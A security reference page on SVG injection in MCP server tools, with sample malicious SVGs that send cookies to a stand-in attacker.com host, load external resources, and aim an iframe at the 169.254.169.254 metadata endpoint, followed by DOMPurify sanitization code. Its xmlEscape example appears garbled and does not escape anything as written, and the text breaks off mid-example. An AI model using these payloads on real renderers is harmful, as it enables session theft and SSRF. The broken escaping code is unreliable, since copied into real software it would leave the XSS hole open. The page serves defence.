Security reference · SVG · XSS

MCP server SVG injection security

SVG is XML with a full DOM, JavaScript execution capability, and external resource loading built into the specification. An MCP tool that generates, transforms, or fetches SVG content and returns it as tool output may produce SVG that, when rendered in a browser or web-capable UI, executes arbitrary JavaScript, loads external images from attacker infrastructure, or triggers SSRF from the rendering client. The attack surface appears wherever an MCP server passes SVG content through without sanitization — chart generators, icon tools, diagram converters, and any tool that fetches remote SVG files.

SVG attack vectors

1. Inline script execution

SVG supports <script> tags natively. When an SVG is rendered inline in HTML or served with Content-Type: image/svg+xml from the same origin, embedded scripts execute:

<!-- Attacker-controlled SVG that executes JavaScript when rendered -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>fetch('https://attacker.com/steal?c=' + document.cookie)</script>
  <circle cx="50" cy="50" r="40"/>
</svg>

2. Event handler injection

SVG elements support all HTML event handlers. Even if an SVG sanitizer strips <script> tags, event handlers on SVG shape elements remain an XSS vector:

<!-- Script-less XSS via event handlers -->
<svg xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="40"
    onload="fetch('https://attacker.com/steal')"
    onclick="document.location='https://attacker.com'"
    onmouseover="navigator.sendBeacon('https://attacker.com', document.cookie)"/>
</svg>

3. External resource loading

SVG can load external images, fonts, and referenced elements. These requests reveal the client's IP to the external server and can be used for tracking. If the MCP server renders SVG server-side (e.g., with puppeteer or sharp), external loads become SSRF from the server:

<!-- External resource loading — reveals client IP, potential SSRF if server-rendered -->
<svg xmlns="http://www.w3.org/2000/svg">
  <image xlink:href="https://attacker.com/tracker.png" x="0" y="0"/>
  <use xlink:href="https://attacker.com/defs.svg#icon"/>
</svg>

4. SSRF via foreignObject

The <foreignObject> element embeds HTML inside SVG. When server-side rendering (e.g., puppeteer, wkhtmltopdf) processes this SVG, the embedded HTML may trigger navigation to internal services:

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100" height="100">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
    </body>
  </foreignObject>
</svg>

Where MCP tools are affected

Tool typeSVG injection surfaceAttack impact
Chart / diagram generatorUser-controlled labels or data embedded in SVG outputXSS if rendered in browser
Icon / logo fetch toolSVG fetched from user-controlled URLAttacker SVG returned as tool output
SVG transform/optimize toolInput SVG passed through without sanitizationMalicious SVG preserved in output
Screenshot / render toolSVG input with foreignObject or external resourcesServer-side SSRF during rendering
Markdown→HTML with inline SVGSVG in Markdown image alt text or inline HTMLXSS in rendered output

Sanitization: DOMPurify for SVG

The most reliable SVG sanitizer in the JavaScript ecosystem is DOMPurify with SVG-specific configuration. It handles script elements, event handlers, external hrefs, and foreignObject:

import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

// DOMPurify requires a DOM — use jsdom in Node.js environments
const { window } = new JSDOM('');
const purify = DOMPurify(window);

function sanitizeSVG(svgString) {
  return purify.sanitize(svgString, {
    USE_PROFILES: { svg: true, svgFilters: true },
    FORBID_TAGS: ['script', 'foreignObject', 'animate', 'set'],
    FORBID_ATTR: [
      'onload', 'onclick', 'onmouseover', 'onerror', 'onfocus',
      'onblur', 'onchange', 'onsubmit', 'onreset', 'onkeydown',
      'onkeypress', 'onkeyup', 'onmousedown', 'onmouseup',
      'onmousemove', 'onmouseout', 'onmouseenter', 'onmouseleave',
    ],
    // Prevent external resource loading
    ALLOW_DATA_ATTR: false,
  });
}

// MCP tool: sanitize before returning SVG
server.tool('get_icon', { name: z.string() }, async ({ name }) => {
  const rawSVG = await fetchIconFromRegistry(name);
  const safeSVG = sanitizeSVG(rawSVG);
  return { content: [{ type: 'text', text: safeSVG }] };
});

Safe SVG generation (no user-controlled attributes)

The safest approach for SVG-generating tools is to build SVG programmatically rather than interpolating user input into SVG strings. When user data appears in SVG, always XML-escape it and never place it inside element names, attribute names, or element tag positions:

function xmlEscape(str) {
  return String(str)
    .replace(/&/g, '&')
    .replace(//g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

// WRONG — user data interpolated into SVG unsanitized
function generateChart(title, value) {
  return `${title}`;
  //                   ^^ XSS if title contains